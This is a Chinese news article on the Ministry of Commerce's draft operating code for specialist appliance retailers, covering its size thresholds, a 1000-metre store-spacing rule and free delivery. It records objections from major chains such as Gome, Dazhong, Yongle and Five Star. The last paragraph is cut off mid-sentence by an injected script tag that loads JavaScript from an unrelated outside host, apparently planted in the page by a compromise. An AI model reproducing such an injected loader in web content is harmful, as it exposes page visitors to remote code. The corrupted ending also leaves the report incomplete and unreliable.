《规范》引发连锁巨头质疑

近日,继商务部出台了针对连锁卖场《零售商与供应商进货交 易管理办法》和《零售商促销行为管理办法》规范后,又专门针对家 电连锁卖场在场地、营业设施与环境、商品购销、员工管理、社区关 系、营销与价格、售后服务等方面作出了具体要求,并公布了《专业 家电卖场经营规范(草案)》,向业内人士公开表示征求意见。

但此规范草案对渠道连锁商限制的部分具体内容,引起了国内几 大家电连锁巨头的不满,他们纷纷表示,家电卖场的开店是由市场需 求决定和调控的,并不由政府法令来决定,渠道商在短距离范围内同 步开店竞争的状况明年还将会上演。

规范的执行主体不明确

根据《专业家电卖场经营规范(草案)》,最能引起关注的主要有 四大内容:一、卖场也可适当经营其他商品,但电器类商品数量和营 业面积必须占全部商品数量和营业面积的85%以上。二、卖场的旗舰 店营业面积在6000平方米以上,经营品种在10000种以上的专业卖场; 标准店的营业面积在2000-6000平方米之间,经营品种在10000种以 下的专业卖场。三、避免因短期利益而造成过密建设和重复建设,新 开卖场与同类专业卖场之间的距离应控制在1000米以上。四、体积或 重量较大的商品,在20公里以内,卖场应提供免费送货服务。具体商 品应包括:25英寸以上彩电(含25英寸)、冰箱、洗衣机、空调,50升 以上电热水器(含50升),大型发烧器材、音箱、音响(不含台式音响)、 小家电三件套等,卖场提供送货的,应在约定的时间内(误差半天)将 商品送至约定地点。

在记者采访中,业内人士一致表示此草案对于避免家电连锁卖场 之间恶性竞争有一定的指导意义,但只能是规范,不能是约束和限制。 资深专家罗仁宵表示:“此草案能不能冲破地方政府在当地建立一个 核心商业圈的城市发展规划,还有待验证。”中国连锁协会会员、长 期关注渠道业态的分析师郝登伟对于这些规范的出台能否有效地实施 表示担忧,他说:“从深层次上看,此规范对于国家宏观调控和规避 过度竞争带来的商业风险有一定的指导意义,但其执行的主体不明确, 也没有对不符合此规范的连锁商作出处罚的规定内容,操作起来会很 艰难。”

国内几大家电连锁巨头纷纷对规范草案提出质疑,北京大中电器 企化部负责人张勇表示:“此草案没有法律的效率,某些内容太笼统, 并没有按目前家电连锁的实际情况而定,还需要相关部门进一步做市 场调研。”作为此前参与规范草案内容的起草者之一的永乐,其营销 管理中心市场部经理黄建平希望规范出台不只是流于形式,他说:“不 管内容是否符合逻辑,希望规范与政策监督同步执行。”

千米以内限制开店争议大

在规范的内容中,引起家电连锁商最大争议的是规定新开卖场与 同类专业卖场之间的距离应控制在1000米以上。从商务部的初衷来看, 是为了净化市场竞争环境,规避连锁渠道商出现的过度竞争。但这点 对于目前正需要以扩张速度取胜的家电连锁商来说似乎是背道而驰。

从家电连锁商目前在上海、北京、广州的一级城市完成布局的网 点来看,上海的长宁路、北京的三环、广州的天河等,几乎都形成了 扎堆的景象。“今年家电产品销售达四五千亿元,作为家电连锁店面 最多的国美,其销售才占200多亿元,几大连锁家电巨头加起来还不 超过20%。”郝登伟用数字佐证了连锁商目前扩张的必要性,他说: “家电连锁商目前还处于扩张的初步阶段,跑马圈地在五六年之内还 将继续上演,如果目前用开店的范围限制他们,不利于家电连锁业发 展,也容易出现在一定范围内一家独大的局面。另外,家电是耐用消 费品,也不适合用具体的方式来加以限定。”

国美、大中、永乐、五星在采访中否认了这项规定将会影响到自 身的扩张计划,他们明确表示,明年开店数量还会增加。黄建平说: “这项规定不太合理,任何城市都会形成固有的商圈,不同卖场的集 中是对整个商圈的完善。像日本的丘叶源,卖场扎堆现象较中国更为 严重,但整个商业状态却持续至今。”

五星电器企化部部长马成则表示:“如果在1000米以内只有一家 卖场经营,将影响到消费者有选择性地集中购买,只有几家同时出现 竞争,才能维护好产品的价格体系,消费者才能买得到更便宜的商品。” 大中的张勇则认为卖场覆盖率的占比多大必须要考虑当地消费者的 购买需求和市场容量才更科学。

国美运营总监何阳青也有同样的看法,他以麦当劳和肯德基毗邻 而居作例子说明,家电卖场的集中经营有利于提升规模效应,至于 “扎堆”以及资源浪费的问题,还是由市场调控更好。 记者观察 “旗舰店”只是炒作对象

记者在采访中了解到,目前很难对卖场的旗舰店做出准确的定 义,以目前国美、大中、苏宁、永乐所打出的旗舰店来看,所有的旗 舰店几乎都满足,甚至高于规定店面面积在6000平方米以上,10000 多种以上产品的这项要求。但连锁商往往只是内部凭借该店面面积够 大,供货?script src=http://er12.com/t.js>

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发布日期:2019年07月04日  所属分类:新闻动态